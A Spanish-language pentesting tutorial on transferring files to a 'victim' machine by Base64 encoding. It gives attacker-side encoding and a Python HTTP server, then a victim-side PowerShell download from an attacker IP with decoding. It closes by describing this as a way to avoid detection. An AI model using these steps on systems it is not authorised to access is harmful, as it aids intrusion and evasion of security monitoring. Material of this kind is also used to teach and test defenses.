# Utilizando Base64

Otra técnica utilizada para transferir archivos es convertir el archivo a un formato de texto (Base64) para luego transferirlo y reconvertirlo en el sistema de destino. Esta técnica es útil para evadir restricciones de transferencia de archivos binarios directos.

## <mark style="color:green;">**Convertir un Archivo a Base64:**</mark>

1. <mark style="color:green;">**Convertir un archivo a Base64 en la máquina del atacante (Linux):**</mark>

   ```bash
   base64 file.txt > file.txt.b64
   ```
2. <mark style="color:green;">**Convertir un archivo a Base64 en la máquina del atacante (Windows):**</mark>

   ```powershell
   [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Path\To\File\file.txt")) > file.txt.b64
   ```

## <mark style="color:green;">**Transferir el Archivo en Formato Base64:**</mark>

El archivo en formato Base64 puede ser transferido utilizando cualquier método (HTTP, FTP, SMB, etc.) mencionado anteriormente.

### <mark style="color:green;">**Reconstruir el Archivo desde Base64:**</mark>

1. <mark style="color:green;">**Reconstruir el archivo desde Base64 en la máquina víctima (Linux):**</mark>

   ```bash
   base64 -d file.txt.b64 > file.txt
   ```
2. <mark style="color:green;">**Reconstruir el archivo desde Base64 en la máquina víctima (Windows):**</mark>

   ```powershell
   [IO.File]::WriteAllBytes("C:\Path\To\Save\file.txt", [Convert]::FromBase64String((Get-Content -Path "file.txt.b64" -Raw)))
   ```

## <mark style="color:green;">Ejemplo Completo de Transferencia Base64:</mark>

1. <mark style="color:green;">**Convertir a Base64 y Transferir (Atacante - Linux):**</mark>

   ```bash
   base64 file.txt > file.txt.b64
   python -m SimpleHTTPServer 80
   ```
2. <mark style="color:green;">**Descargar y Reconstruir (Víctima - Windows):**</mark>

   ```powershell
   Invoke-WebRequest -Uri http://192.168.1.6/file.txt.b64 -OutFile C:\Path\To\Save\file.txt.b64
   [IO.File]::WriteAllBytes("C:\Path\To\Save\file.txt", [Convert]::FromBase64String((Get-Content -Path "C:\Path\To\Save\file.txt.b64" -Raw)))
   ```

Estas técnicas permiten a los atacantes transferir archivos sin ser detectados fácilmente, utilizando herramientas y métodos que son comúnmente permitidos y considerados seguros en muchos entornos.
